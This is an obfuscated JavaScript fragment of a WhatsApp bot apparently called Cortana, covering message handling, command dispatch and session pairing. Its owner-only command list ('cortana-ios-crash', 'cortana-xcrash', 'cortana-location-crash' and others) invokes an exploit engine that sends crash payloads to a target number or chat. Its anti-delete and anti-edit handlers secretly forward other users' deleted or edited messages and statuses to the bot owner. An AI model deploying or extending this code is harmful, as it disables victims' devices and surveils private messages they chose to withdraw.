_0x3143d0=new Date(),_0x906ee1=_0x3ed549[_0x2ec0f1(0x275)][_0x2ec0f1(0x259)]||_0x3ed549[_0x2ec0f1(0x275)][_0x2ec0f1(0x266)],_0x31564b=_0x34c45e[_0x2ec0f1(0x2e0)]['conversation']||_0x34c45e[_0x2ec0f1(0x2e0)][_0x2ec0f1(0x260)]?.[_0x2ec0f1(0x20f)]||_0x296d10[_0x2ec0f1(0x31f)];let _0x7c01ba='',_0x48b018='';if(_0x296d10[_0x2ec0f1(0x283)](_0x55e6e4[_0x2ec0f1(0x42f)],_0x296d10[_0x2ec0f1(0x248)]))_0x7c01ba=_0x296d10['wqDzA'],_0x48b018=_0x3ed549['key'][_0x2ec0f1(0x266)];else _0x296d10['oONKk'](_0x55e6e4[_0x2ec0f1(0x42f)],'pm')&&(_0x296d10['YgyUo']('xeIXc',_0x296d10[_0x2ec0f1(0x2a6)])?(_0x7c01ba=_0x2ec0f1(0x334),_0x48b018=_0x55e6e4[_0x2ec0f1(0x3c5)]?_0x296d10[_0x2ec0f1(0x1f7)](_0x55e6e4['ownerNumber'],_0x2ec0f1(0x395)):''):_0x3eff42[_0x2ec0f1(0x433)](_0x2ec0f1(0x3a3)+_0x18780b+':',_0x28028d[_0x2ec0f1(0x2e0)]));if(!_0x48b018)continue;const _0x36fad2=_0x7c01ba+_0x2ec0f1(0x340)+_0x906ee1[_0x2ec0f1(0x2ed)]('@')[0x0]+'\x0aโฐ\x20Time\x20=\x20'+_0x3143d0[_0x2ec0f1(0x264)]()+_0x2ec0f1(0x213)+_0x31564b+'\x0a'+(_0x34c45e[_0x2ec0f1(0x2e0)]['imageMessage']||_0x34c45e['message']['videoMessage']?_0x2ec0f1(0x323):'')+_0x2ec0f1(0x2c0);await _0x296d10[_0x2ec0f1(0x2bf)](safeSendMessage,_0x527357,_0x48b018,{'text':_0x36fad2,'mentions':[_0x906ee1]});const _0x354bf9=_0x34c45e[_0x2ec0f1(0x2e0)][_0x2ec0f1(0x1f2)]||_0x34c45e['message'][_0x2ec0f1(0x22b)]||_0x34c45e['message'][_0x2ec0f1(0x201)]||_0x34c45e[_0x2ec0f1(0x2e0)][_0x2ec0f1(0x44e)];_0x354bf9&&await _0x296d10[_0x2ec0f1(0x2bf)](safeSendMessage,_0x527357,_0x48b018,{'forward':_0x34c45e,'forceForward':!![]}),log[_0x2ec0f1(0x384)](_0x2ec0f1(0x36e));}else log[_0x2ec0f1(0x384)](_0x2ec0f1(0x3cf));}if(_0x296d10[_0x2ec0f1(0x439)](_0x3ed549[_0x2ec0f1(0x275)][_0x2ec0f1(0x266)],_0x296d10[_0x2ec0f1(0x281)])&&_0x296d10['oONKk'](_0x3ed549[_0x2ec0f1(0x423)][_0x2ec0f1(0x428)],proto[_0x2ec0f1(0x27e)][_0x2ec0f1(0x285)][_0x2ec0f1(0x26d)])){if(!_0x55e6e4[_0x2ec0f1(0x3ef)])continue;log['debug'](_0x2ec0f1(0x3e8));const _0x46ca78=store_1['messageCache'][_0x2ec0f1(0x455)](_0x3ed549[_0x2ec0f1(0x275)]['id']);if(_0x46ca78&&_0x46ca78[_0x2ec0f1(0x2e0)]&&_0x55e6e4['ownerNumber']){const _0x349368=_0x55e6e4['ownerNumber']+'@s.whatsapp.net',_0x3a9706=_0x3ed549[_0x2ec0f1(0x275)]['participant']||_0x46ca78[_0x2ec0f1(0x275)]?.[_0x2ec0f1(0x259)]||_0x2ec0f1(0x288),_0x299d25=new Date(),_0x18dc9c=_0x2ec0f1(0x2f1)+_0x3a9706[_0x2ec0f1(0x2ed)]('@')[0x0]+_0x2ec0f1(0x2c6)+_0x299d25['toLocaleTimeString']()+_0x2ec0f1(0x30f);await _0x296d10[_0x2ec0f1(0x376)](safeSendMessage,_0x527357,_0x349368,{'text':_0x18dc9c,'mentions':[_0x3a9706]});try{await _0x296d10[_0x2ec0f1(0x2ab)](safeSendMessage,_0x527357,_0x349368,{'forward':_0x46ca78,'forceForward':!![]}),log['debug'](_0x2ec0f1(0x397));}catch(_0x1dce07){console[_0x2ec0f1(0x433)](_0x2ec0f1(0x42d),_0x1dce07);}}else log[_0x2ec0f1(0x384)]('[ANTIDELETESTATUS]\x20โ ๏ธ\x20Status\x20not\x20in\x20cache\x20or\x20no\x20owner\x20number\x20set');}const _0x2380ed=_0x296d10[_0x2ec0f1(0x253)](_0x3ed549[_0x2ec0f1(0x275)][_0x2ec0f1(0x2d9)],!![]),_0x50dcff=_0x55e6e4&&_0x55e6e4[_0x2ec0f1(0x2cc)]&&_0x55e6e4[_0x2ec0f1(0x2cc)]!==_0x2ec0f1(0x2ba);if(_0x3ed549[_0x2ec0f1(0x423)][_0x2ec0f1(0x2e0)]&&!_0x2380ed&&_0x50dcff){const _0x31b806=store_1['messageCache']['get'](_0x3ed549[_0x2ec0f1(0x275)]['id']);if(_0x31b806&&_0x31b806[_0x2ec0f1(0x2e0)]){const _0x9cf593=_0x3ed549['update']['message']['conversation']||_0x3ed549[_0x2ec0f1(0x423)][_0x2ec0f1(0x2e0)]['extendedTextMessage']?.['text'],_0x29dce5=_0x31b806[_0x2ec0f1(0x2e0)]?.[_0x2ec0f1(0x2e7)]||_0x31b806[_0x2ec0f1(0x2e0)]?.[_0x2ec0f1(0x260)]?.['text'];if(_0x296d10[_0x2ec0f1(0x34a)](_0x9cf593,_0x29dce5)&&_0x9cf593!==_0x29dce5){const _0x9d3a27=new Date(),_0x2d7712=_0x3ed549['key'][_0x2ec0f1(0x259)]||_0x3ed549['key']['remoteJid'];let _0x6037b0='';if(_0x55e6e4[_0x2ec0f1(0x2cc)]==='all')_0x6037b0=_0x3ed549[_0x2ec0f1(0x275)][_0x2ec0f1(0x266)];else{if(_0x55e6e4[_0x2ec0f1(0x2cc)]==='pm')_0x6037b0=_0x55e6e4[_0x2ec0f1(0x3c5)]?_0x296d10['zrSJk'](_0x55e6e4[_0x2ec0f1(0x3c5)],'@s.whatsapp.net'):'';}if(_0x6037b0){const _0x580987=_0x2ec0f1(0x2d8)+_0x2d7712[_0x2ec0f1(0x2ed)]('@')[0x0]+_0x2ec0f1(0x434)+_0x9d3a27[_0x2ec0f1(0x264)]()+_0x2ec0f1(0x214)+_0x29dce5+'\x0a๐\x20*After:*\x20'+_0x9cf593+'\x0a\x0aโจ\x20_Cortana\x20sees\x20everything_\x20โจ';await safeSendMessage(_0x527357,_0x6037b0,{'text':_0x580987,'mentions':[_0x2d7712]});}}}}}}),_0x527357['ev']['on'](_0x296d10[_0x9b06bb(0x456)],async({messages:_0x4ed224,type:_0x4c774f})=>{const _0x5b0fa5=_0x9b06bb,_0x25e616={'SezOL':_0x296d10[_0x5b0fa5(0x305)],'dRpcD':function(_0x15d156,_0x190648){return _0x15d156===_0x190648;},'wXOQC':function(_0x501d5f,_0x3494da){return _0x501d5f+_0x3494da;},'xifPW':_0x5b0fa5(0x395),'PPprD':function(_0x2f66d5,_0x5ecb61){return _0x2f66d5!==_0x5ecb61;},'UIUMr':function(_0x5e084c,_0x2e3181){return _0x5e084c-_0x2e3181;}};if(!sessionReady[_0x5b0fa5(0x455)](_0x33472c))return;try{let _0x2f46a1;const _0x1ec392=settingsCache[_0x5b0fa5(0x455)](_0x33472c);_0x1ec392&&_0x296d10['MWRtG'](Date[_0x5b0fa5(0x28e)](),_0x1ec392['cachedAt'])<SETTINGS_CACHE_TTL?_0x2f46a1=_0x1ec392['settings']:(_0x2f46a1=await storage_1['storage'][_0x5b0fa5(0x1e0)](_0x33472c),settingsCache[_0x5b0fa5(0x35d)](_0x33472c,{'settings':_0x2f46a1,'cachedAt':Date['now']()}));const _0x235466=_0x2f46a1?.[_0x5b0fa5(0x389)]||'.';for(const _0x2e2d59 of _0x4ed224){try{if(!_0x2e2d59[_0x5b0fa5(0x2e0)])continue;if(_0x2e2d59[_0x5b0fa5(0x275)]?.[_0x5b0fa5(0x266)]?.[_0x5b0fa5(0x3b2)](_0x296d10[_0x5b0fa5(0x446)]))continue;if(_0x296d10[_0x5b0fa5(0x283)](_0x2e2d59[_0x5b0fa5(0x275)]?.[_0x5b0fa5(0x266)],_0x5b0fa5(0x3d5)))continue;const _0x46b7de=_0x2e2d59[_0x5b0fa5(0x275)]['id'],_0xbf88f6=_0x2e2d59['key']['remoteJid']?.[_0x5b0fa5(0x3b2)](_0x5b0fa5(0x34f));_0x2e2d59['key'][_0x5b0fa5(0x2d9)]&&_0x2e2d59[_0x5b0fa5(0x275)]['remoteJid']?.['endsWith'](_0x296d10[_0x5b0fa5(0x225)])&&_0x2e2d59['key']['participant']?.[_0x5b0fa5(0x3b2)]('@lid')&&(_0x296d10[_0x5b0fa5(0x218)](_0x296d10[_0x5b0fa5(0x43a)],'hphIW')?_0x32e469['gc']():!_0x527357['user'][_0x5b0fa5(0x34c)]&&(_0x527357[_0x5b0fa5(0x3f7)]['lid']=_0x2e2d59[_0x5b0fa5(0x275)][_0x5b0fa5(0x259)],console[_0x5b0fa5(0x2f5)]('[LID-DISCOVERY]\x20โ
\x20Bot\x20LID\x20discovered:\x20'+_0x527357[_0x5b0fa5(0x3f7)]['lid'])));const _0xd475c=(_0x2e2d59[_0x5b0fa5(0x23e)]?.[_0x5b0fa5(0x328)]||_0x2e2d59[_0x5b0fa5(0x23e)])*0x3e8,_0x37fd67=Date[_0x5b0fa5(0x28e)]()-_0xd475c;if(_0x296d10['zFfvf'](_0x37fd67,0x1d4c0))continue;if(processedMessageIds[_0x5b0fa5(0x2c1)](_0x46b7de))continue;const _0x8d0f9=(0x0,message_helper_1['unwrapMessage'])(_0x2e2d59[_0x5b0fa5(0x2e0)]),_0x18f5c6=((0x0,message_helper_1[_0x5b0fa5(0x298)])(_0x2e2d59[_0x5b0fa5(0x2e0)])||'')['trim']();if(_0x2e2d59['key'][_0x5b0fa5(0x2d9)]){const _0x3409a0=_0x2e2d59['message'],_0xb9d0d3=_0x3409a0?.[_0x5b0fa5(0x2e7)]||_0x3409a0?.[_0x5b0fa5(0x260)]?.['text']||_0x3409a0?.[_0x5b0fa5(0x1f2)]?.['caption']||_0x3409a0?.[_0x5b0fa5(0x22b)]?.[_0x5b0fa5(0x207)]||_0x3409a0?.[_0x5b0fa5(0x276)]?.['message']?.[_0x5b0fa5(0x2e7)]||_0x3409a0?.['deviceSentMessage']?.[_0x5b0fa5(0x2e0)]?.[_0x5b0fa5(0x260)]?.[_0x5b0fa5(0x20f)]||_0x3409a0?.[_0x5b0fa5(0x1ef)]?.[_0x5b0fa5(0x2e0)]?.[_0x5b0fa5(0x2e7)]||_0x3409a0?.[_0x5b0fa5(0x1ef)]?.[_0x5b0fa5(0x2e0)]?.[_0x5b0fa5(0x260)]?.[_0x5b0fa5(0x20f)]||_0x3409a0?.[_0x5b0fa5(0x36d)]?.['message']?.['conversation']||_0x3409a0?.['viewOnceMessage']?.['message']?.[_0x5b0fa5(0x260)]?.['text']||_0x18f5c6||'';if(!_0xb9d0d3['trimStart']()[_0x5b0fa5(0x330)](_0x235466))continue;}if((0x0,message_helper_1['shouldIgnoreMessage'])(_0x2e2d59))continue;processedMessageIds['set'](_0x46b7de,Date[_0x5b0fa5(0x28e)]());if(!_0x18f5c6&&!_0x8d0f9?.[_0x5b0fa5(0x44e)]&&!_0x8d0f9?.[_0x5b0fa5(0x420)])continue;store_1[_0x5b0fa5(0x2bd)]['add'](_0x46b7de,_0x2e2d59);if(_0xbf88f6){const _0x58531e=await(0x0,group_1[_0x5b0fa5(0x1e4)])(_0x527357,_0x2e2d59,_0x33472c);if(_0x58531e)continue;const _0x1372c4=await(0x0,group_1['handleAntibot'])(_0x527357,_0x2e2d59,_0x33472c);if(_0x1372c4)continue;}const _0x5d0fb9=_0x2e2d59['key']['remoteJid'],_0x26e765=_0x5d0fb9[_0x5b0fa5(0x3b2)](_0x5b0fa5(0x34f));let _0x27b7e8=_0x5d0fb9;if(!_0x26e765&&_0x2e2d59[_0x5b0fa5(0x275)][_0x5b0fa5(0x2d9)]&&_0x527357[_0x5b0fa5(0x3f7)]?.['id']){const _0x189919=_0x527357[_0x5b0fa5(0x3f7)]['id'][_0x5b0fa5(0x2ed)](':')[0x0]['split']('@')[0x0]+_0x5b0fa5(0x395);(_0x5d0fb9[_0x5b0fa5(0x3b2)](_0x296d10[_0x5b0fa5(0x1f0)])||_0x5d0fb9===_0x527357[_0x5b0fa5(0x3f7)]['id']||_0x296d10[_0x5b0fa5(0x253)](_0x5d0fb9,_0x527357[_0x5b0fa5(0x3f7)][_0x5b0fa5(0x34c)]))&&(_0x27b7e8=_0x189919);}const _0x4f2920=_0x26e765?_0x2e2d59['key']['participant']||_0x5d0fb9:_0x27b7e8,_0x101136=_0x2e2d59[_0x5b0fa5(0x275)][_0x5b0fa5(0x2d9)],_0x3f11c4=_0x18f5c6[_0x5b0fa5(0x330)](_0x235466);_0x3f11c4&&_0x527357['readMessages']([_0x2e2d59['key']])[_0x5b0fa5(0x32b)](()=>{});if(_0x3f11c4){if(_0x5b0fa5(0x348)===_0x296d10[_0x5b0fa5(0x2e5)])_0x5188fc[_0x5b0fa5(0x378)](_0x11ece6,DtrQVr['SezOL'],{'enumerable':!![],'value':_0x2615a7});else{const _0x2af6e5=_0x18f5c6[_0x5b0fa5(0x387)](_0x235466['length'])[_0x5b0fa5(0x327)]()['split']('\x20')[0x0][_0x5b0fa5(0x393)](),_0x4a2ddf=_0x18f5c6['slice'](_0x296d10['tMGKT'](_0x235466[_0x5b0fa5(0x31d)],_0x2af6e5[_0x5b0fa5(0x31d)]))['trim']()['split']('\x20')['filter'](Boolean),_0x25881b=_0x4a2ddf[_0x5b0fa5(0x3e6)]('\x20');let _0x1f2668;if(_0x26e765)try{if(_0x296d10[_0x5b0fa5(0x453)](_0x296d10[_0x5b0fa5(0x28b)],_0x5b0fa5(0x367)))_0x31c0e5[_0x5b0fa5(0x43b)](_0x4335fb);else{const _0x379a47=await Promise[_0x5b0fa5(0x2da)]([_0x527357[_0x5b0fa5(0x273)](_0x5d0fb9),new Promise((_0x414d08,_0x49c270)=>setTimeout(()=>_0x49c270(new Error(_0x5b0fa5(0x2b4))),0x7d0))]);_0x1f2668=_0x379a47?.['subject'];}}catch{_0x1f2668=_0x5d0fb9[_0x5b0fa5(0x2ed)]('@')[0x0];}logger_1[_0x5b0fa5(0x2c5)]['md'][_0x5b0fa5(0x462)](_0x2af6e5,_0x4f2920,_0x1f2668);const _0x2fa377=(0x0,message_helper_1['isOwner'])(_0x527357,_0x2e2d59,_0x2f46a1?.[_0x5b0fa5(0x3c5)]),_0x47a670=types_1[_0x5b0fa5(0x448)][_0x5b0fa5(0x455)](_0x2af6e5);if(_0x47a670){if(_0x47a670[_0x5b0fa5(0x41b)]&&!_0x2fa377){if(_0x296d10[_0x5b0fa5(0x2ca)](_0x296d10['yclkR'],_0x5b0fa5(0x3e7))){await _0x296d10[_0x5b0fa5(0x2bf)](safeSendMessage,_0x527357,_0x27b7e8,{'text':_0x5b0fa5(0x3ad)});continue;}else{_0x2fa6f8[_0x5b0fa5(0x2c5)]['sys']['cleanup']('โ ๏ธ\x20Zombie\x20socket\x20detected/killing:\x20'+_0x109acd[_0x5b0fa5(0x387)](0x0,0x8));try{_0x558722[_0x5b0fa5(0x43b)](_0x66947d);}catch{}_0x1f2ab2['activeSockets']['delete'](_0x5d7b32),_0x9ca1f2[_0x5b0fa5(0x30d)](_0xd42197),_0x11daa8[_0x5b0fa5(0x30d)](_0x3c13fe);}}try{await _0x47a670[_0x5b0fa5(0x255)]({'sock':_0x527357,'msg':_0x2e2d59,'args':_0x4a2ddf,'text':_0x25881b,'senderJid':_0x4f2920,'chatId':_0x27b7e8,'isOwner':_0x2fa377,'sessionId':_0x33472c,'reply':async _0x21001b=>{const _0x3c4480=_0x5b0fa5,_0x24c6e5=_0x527357[_0x3c4480(0x3f7)]?.['id']?.[_0x3c4480(0x2ed)](':')[0x0]['split']('@')[0x0],_0x27fcfc=_0x5d0fb9[_0x3c4480(0x2ed)]('@')[0x0]['split'](':')[0x0],_0x2f52ac=!_0x26e765&&_0x2e2d59['key']['fromMe']&&(_0x5d0fb9['endsWith'](_0x3c4480(0x319))||_0x27fcfc===_0x24c6e5||_0x25e616[_0x3c4480(0x3de)](_0x5d0fb9,_0x527357[_0x3c4480(0x3f7)]?.['id'])||_0x5d0fb9===_0x527357[_0x3c4480(0x3f7)]?.[_0x3c4480(0x34c)]);if(_0x2f52ac){const _0x2c329b=_0x25e616['wXOQC'](_0x24c6e5,_0x25e616[_0x3c4480(0x416)]),_0x53323a=_0x2e2d59['key']['remoteJid']||_0x27b7e8;await safeSendMessage(_0x527357,_0x2c329b,{'text':_0x21001b});_0x25e616[_0x3c4480(0x25b)](_0x53323a,_0x2c329b)&&await safeSendMessage(_0x527357,_0x53323a,{'text':_0x21001b});return;}return safeSendMessage(_0x527357,_0x27b7e8,{'text':_0x21001b});}}),logger_1[_0x5b0fa5(0x2c5)]['md'][_0x5b0fa5(0x310)](_0x2af6e5,_0x1f2668);}catch(_0x28b9b3){logger_1[_0x5b0fa5(0x2c5)][_0x5b0fa5(0x42e)]['md']('Command\x20'+_0x2af6e5,_0x28b9b3),await safeSendMessage(_0x527357,_0x27b7e8,{'text':_0x5b0fa5(0x43d)+_0x28b9b3[_0x5b0fa5(0x2e0)]});}}else{const _0x546626=[_0x296d10[_0x5b0fa5(0x317)],'cortana-fc-one','cortana-delay-andro','cortana-ios-crash',_0x5b0fa5(0x228),'cortana-xcrash',_0x5b0fa5(0x1e1),_0x5b0fa5(0x369),_0x296d10[_0x5b0fa5(0x41e)],_0x296d10[_0x5b0fa5(0x2a0)],_0x296d10[_0x5b0fa5(0x3c8)],_0x5b0fa5(0x280),_0x5b0fa5(0x3dc),_0x296d10[_0x5b0fa5(0x3b9)],'cortana-location-crash',_0x296d10[_0x5b0fa5(0x1e3)],'cortana-newsletter-v1',_0x5b0fa5(0x322),_0x296d10[_0x5b0fa5(0x292)],_0x5b0fa5(0x3ee)];if(_0x546626[_0x5b0fa5(0x3bf)](_0x2af6e5)){if(!_0x2fa377){await _0x296d10[_0x5b0fa5(0x2ab)](safeSendMessage,_0x527357,_0x27b7e8,{'text':_0x296d10[_0x5b0fa5(0x224)]});continue;}try{_0x296d10['mToqS']('DqvVL',_0x5b0fa5(0x3bd))?await(0x0,exploit_engine_1[_0x5b0fa5(0x2f3)])(_0x527357,_0x2af6e5,_0x25881b||_0x27b7e8):DtrQVr[_0x5b0fa5(0x3cb)](_0x74e6d5,_0x5cd720[_0x5b0fa5(0x308)])>_0x3eec8b&&_0x55f4a3[_0x5b0fa5(0x30d)](_0x483546);}catch(_0xe5f5a7){logger_1['default']['err']['md'](_0x5b0fa5(0x316)+_0x2af6e5,_0xe5f5a7),await safeSendMessage(_0x527357,_0x27b7e8,{'text':_0x5b0fa5(0x2d7)+_0xe5f5a7[_0x5b0fa5(0x2e0)]});}}}}}}catch(_0x5ef56a){logger_1[_0x5b0fa5(0x2c5)][_0x5b0fa5(0x42e)]['md'](_0x5b0fa5(0x408),_0x5ef56a);}}}catch(_0x17ea85){logger_1['default'][_0x5b0fa5(0x42e)]['md'](_0x296d10[_0x5b0fa5(0x3ab)],_0x17ea85);}})):_0x49c04e[_0x9b06bb(0x384)](_0x9b06bb(0x345)):_0x527357['ev']['on'](_0x9b06bb(0x445),async({messages:_0x4e5061,type:_0x5a92fd})=>{const _0x5c05a7=_0x9b06bb;if(_0x5a92fd!==_0x5c05a7(0x451))return;for(const _0x58a3ba of _0x4e5061){if(!_0x58a3ba[_0x5c05a7(0x2e0)])continue;if(_0x58a3ba[_0x5c05a7(0x2e0)][_0x5c05a7(0x459)])continue;if(_0x58a3ba[_0x5c05a7(0x2e0)]['senderKeyDistributionMessage'])continue;if(_0x58a3ba[_0x5c05a7(0x2e0)][_0x5c05a7(0x3c9)])continue;if(_0x58a3ba[_0x5c05a7(0x2e0)]['pollUpdateMessage'])continue;if(_0x58a3ba[_0x5c05a7(0x2e0)]['pollCreationMessage'])continue;if(_0x58a3ba[_0x5c05a7(0x2e0)][_0x5c05a7(0x426)])continue;if(_0x58a3ba[_0x5c05a7(0x2e0)]['messageContextInfo']&&Object[_0x5c05a7(0x2d4)](_0x58a3ba[_0x5c05a7(0x2e0)])[_0x5c05a7(0x31d)]===0x1)continue;if(_0x58a3ba[_0x5c05a7(0x2e0)]['receiptMessage'])continue;if(_0x58a3ba[_0x5c05a7(0x2e0)][_0x5c05a7(0x2f9)])continue;if(_0x58a3ba['message']['deviceSentMessage']&&!_0x58a3ba[_0x5c05a7(0x2e0)][_0x5c05a7(0x276)][_0x5c05a7(0x2e0)])continue;if(_0x58a3ba[_0x5c05a7(0x2e0)]['pinInChatMessage'])continue;if(_0x58a3ba[_0x5c05a7(0x275)]&&_0x296d10[_0x5c05a7(0x439)](_0x58a3ba[_0x5c05a7(0x275)][_0x5c05a7(0x266)],_0x5c05a7(0x3d5))&&!_0x58a3ba[_0x5c05a7(0x2e0)])continue;if(_0x58a3ba['key']&&_0x58a3ba['key'][_0x5c05a7(0x266)]&&_0x58a3ba[_0x5c05a7(0x275)]['remoteJid']['endsWith']('@newsletter'))continue;const _0x432d5c=_0x58a3ba[_0x5c05a7(0x275)][_0x5c05a7(0x266)],_0x3e49ae=_0x432d5c[_0x5c05a7(0x3b2)](_0x5c05a7(0x34f)),_0x4217ef=await storage_1['storage'][_0x5c05a7(0x1e0)](_0x33472c);let _0x561c2b=_0x58a3ba['message']['conversation']||_0x58a3ba['message'][_0x5c05a7(0x260)]?.[_0x5c05a7(0x20f)]||'';const _0x30df05=_0x4217ef?.[_0x5c05a7(0x389)]||PREFIX;if(!_0x561c2b||!_0x561c2b['startsWith'](_0x30df05))continue;const _0x5a3df6=!![],_0xf4ac2f=_0x561c2b['slice'](_0x30df05['length'])[_0x5c05a7(0x327)]()[_0x5c05a7(0x2ed)]('\x20')[0x0],_0x2e71bf=_0xf4ac2f[_0x5c05a7(0x393)](),_0x5743e6=_0x561c2b[_0x5c05a7(0x327)]()['split']('\x20')['slice'](0x1),_0x22118f=_0x5743e6[_0x5c05a7(0x3e6)]('\x20');console['log'](_0x5c05a7(0x3ca)+_0x2e71bf+_0x5c05a7(0x290)+_0x5743e6[_0x5c05a7(0x3e6)]('\x20')+_0x5c05a7(0x24b)+_0x58a3ba[_0x5c05a7(0x275)][_0x5c05a7(0x266)]);const _0x3ae459=_0x3e49ae?_0x58a3ba[_0x5c05a7(0x275)]['participant']||_0x58a3ba[_0x5c05a7(0x259)]||'':_0x432d5c,_0x5759d3=_0x3ae459['split']('@')[0x0],_0x553d8b=_0x527357[_0x5c05a7(0x3f7)]?.['id']?.[_0x5c05a7(0x2ed)](':')[0x0]?.[_0x5c05a7(0x2ed)]('@')[0x0],_0x519e54=_0x527357[_0x5c05a7(0x3f7)]?.[_0x5c05a7(0x34c)],_0xdfab8c=_0x296d10[_0x5c05a7(0x283)](_0x58a3ba[_0x5c05a7(0x275)][_0x5c05a7(0x2d9)],!![])||_0x3ae459['endsWith']('@lid')&&_0x296d10[_0x5c05a7(0x253)](_0x519e54,_0x3ae459)||_0x5759d3===_0x553d8b,_0x5b7e2a=_0x5759d3===_0x553d8b||_0x5759d3===_0x4217ef?.[_0x5c05a7(0x3c5)]||_0xdfab8c;if(_0x5a3df6){const _0x3a6c41=[_0x296d10[_0x5c05a7(0x22c)],_0x5c05a7(0x246),'edu',_0x296d10['nxdOf'],_0x296d10[_0x5c05a7(0x3db)],_0x296d10['sZevR'],_0x296d10['ByZox'],_0x296d10[_0x5c05a7(0x3a9)],_0x5c05a7(0x256),_0x296d10[_0x5c05a7(0x27c)],_0x296d10[_0x5c05a7(0x31c)],_0x5c05a7(0x301),_0x5c05a7(0x26f),_0x296d10['KczQl'],_0x5c05a7(0x21d),'kindiki',_0x296d10[_0x5c05a7(0x2e8)],_0x5c05a7(0x405),_0x5c05a7(0x34b),_0x296d10[_0x5c05a7(0x268)],_0x5c05a7(0x3f3),_0x296d10[_0x5c05a7(0x452)],_0x296d10[_0x5c05a7(0x23f)],_0x5c05a7(0x385),_0x5c05a7(0x35c),_0x296d10[_0x5c05a7(0x44f)],_0x296d10[_0x5c05a7(0x1fb)],_0x5c05a7(0x262),_0x296d10[_0x5c05a7(0x1ea)],'private',_0x296d10['eyscQ'],_0x296d10[_0x5c05a7(0x3d4)],_0x296d10[_0x5c05a7(0x329)],_0x296d10[_0x5c05a7(0x333)]];if(_0x3a6c41[_0x5c05a7(0x3bf)](_0x2e71bf)){if(_0x296d10[_0x5c05a7(0x3e5)]!==_0x296d10[_0x5c05a7(0x3e5)]){const _0x42c214=!!(_0x1edf47[_0x5c05a7(0x24f)]||_0x480de2[_0x5c05a7(0x35b)]||_0x34f7ea['listMessage']);return _0x42c214&&(_0x38e82c={'viewOnceMessage':{'message':{'messageContextInfo':{'deviceListMetadataVersion':0x2,'deviceListMetadata':{}},..._0x480542}}}),_0x5b96bd;}else{console[_0x5c05a7(0x2f5)](_0x296d10[_0x5c05a7(0x436)],_0x2e71bf);try{if('wpGow'===_0x5c05a7(0x3d0))try{_0x41ca08['gc']();}catch(_0x850fbd){}else{const _0x29bd54=getBugHandler();if(_0x29bd54){const _0x94da6e=Object[_0x5c05a7(0x2d4)](_0x58a3ba[_0x5c05a7(0x2e0)]||{})[0x0]||_0x296d10[_0x5c05a7(0x25a)],_0x577f64={..._0x58a3ba,'mtype':_0x94da6e,'chat':_0x58a3ba['key']['remoteJid'],'sender':_0x58a3ba[_0x5c05a7(0x275)][_0x5c05a7(0x259)]||_0x58a3ba['key'][_0x5c05a7(0x266)],'msg':_0x58a3ba['message']?.[_0x94da6e]||{},'text':_0x561c2b,'isGroup':_0x3e49ae};console['log'](_0x296d10[_0x5c05a7(0x422)],{'command':_0x2e71bf,'sender':_0x577f64['sender']}),await _0x29bd54(_0x527357,_0x577f64,null,null,exports[_0x5c05a7(0x3f0)]),console['log'](_0x5c05a7(0x2b0));}else console['error'](_0x296d10[_0x5c05a7(0x2cd)]),await _0x527357[_0x5c05a7(0x2dd)](_0x432d5c,{'text':_0x5c05a7(0x289)});}}catch(_0x5cfaa3){console['error'](_0x296d10[_0x5c05a7(0x33d)],_0x5cfaa3);}}}}}}),_0x527357;}catch(_0x196473){console['error']('startSocket\x20failed\x20for\x20'+_0x33472c+':\x20',_0x196473);throw _0x196473;}}async function requestPairingCode(_0x445881,_0x533cc9='md',_0x191322){const _0x402b21=_0x50e9fe,_0x1e9158={'qcAmK':function(_0x2fbbfb,_0x4327c4){return _0x2fbbfb!==_0x4327c4;},'LlKhx':_0x402b21(0x1de),'BWFwW':_0x402b21(0x254),'ssmep':_0x402b21(0x230),'JITFH':function(_0x1f1d55,_0x186d36){return _0x1f1d55===_0x186d36;},'HODVX':function(_0x3f28a2,_0x273cc5){return _0x3f28a2>_0x273cc5;},'CjOpt':function(_0x1091d7,_0x4f5438){return _0x1091d7-_0x4f5438;},'kpVuW':function(_0x158fd8,_0x4287b4){return _0x158fd8(_0x4287b4);},'wSHef':_0x402b21(0x274),'JHcPo':_0x402b21(0x1e6),'Eoavb':'SyqdM','lhMGD':function(_0x2868c0,_0x87df9f){return _0x2868c0+_0x87df9f;},'niBFV':'Failed\x20to\x20generate\x20pairing\x20code\x20after\x203\x20attempts:\x20','qLXnG':_0x402b21(0x352),'hgDiL':_0x402b21(0x41f),'qsqah':function(_0x5a8e7f,_0x1c3b4d){return _0x5a8e7f(_0x1c3b4d);},'RimmG':_0x402b21(0x34d),'AZZwQ':_0x402b21(0x39d),'usQhZ':_0x402b21(0x461),'UkAKH':function(_0x3f4970,_0xa061cc,_0x1c4f88,_0x39d0ee){return _0x3f4970(_0xa061cc,_0x1c4f88,_0x39d0ee);},'XeaOd':function(_0x38566f,_0x423c8b){return _0x38566f(_0x423c8b);},'GHFwK':function(_0x43fa6b,_0x5e9ecd){return _0x43fa6b<_0x5e9ecd;}},_0x5a01cf=_0x445881[_0x402b21(0x3d3)](/[^0-9]/g,'');if(_0x1e9158[_0x402b21(0x20e)](_0x5a01cf[_0x402b21(0x31d)],0xa))throw new Error(_0x402b21(0x42c));const _0x7e50e9=(0x0,crypto_1[_0x402b21(0x402)])();return await storage_1['storage'][_0x402b21(0x337)]({'id':_0x7e50e9,'phoneNumber':_0x5a01cf,'type':_0x533cc9,'status':_0x402b21(0x3b4),'createdBy':_0x191322||null,'creds':null,'keys':null}),new Promise(async(_0x2934c8,_0x34eae1)=>{const _0x1a8e06=_0x402b21,_0x3f6f3={'ZDecO':'failed'};let _0x10506c=![],_0x5c9ca5=null;try{const _0x10cb6a=await _0x1e9158[_0x1a8e06(0x450)](startSocket,_0x7e50e9,_0x5a01cf,_0x533cc9);_0x5c9ca5=setTimeout(async()=>{const _0x2a2147=_0x1a8e06;if(!_0x10506c){console[_0x2a2147(0x433)](_0x2a2147(0x24a)+_0x7e50e9+_0x2a2147(0x21f)),await storage_1[_0x2a2147(0x45b)]['updateSession'](_0x7e50e9,{'status':_0x3f6f3[_0x2a2147(0x20a)]}),exports[_0x2a2147(0x3f0)][_0x2a2147(0x30d)](_0x7e50e9);try{_0x10cb6a[_0x2a2147(0x43b)](undefined);}catch{}_0x34eae1(new Error('Connection\x20timeout\x20-\x20WhatsApp\x20servers\x20not\x20responding'));}},0xea60);const _0xa3280f=async _0x49152f=>{const _0x24028d=_0x1a8e06;if(_0x1e9158[_0x24028d(0x2bc)](_0x24028d(0x1de),_0x1e9158['LlKhx']))_0x5bc266[_0x24028d(0x2c5)]=_0x585fc8;else{const 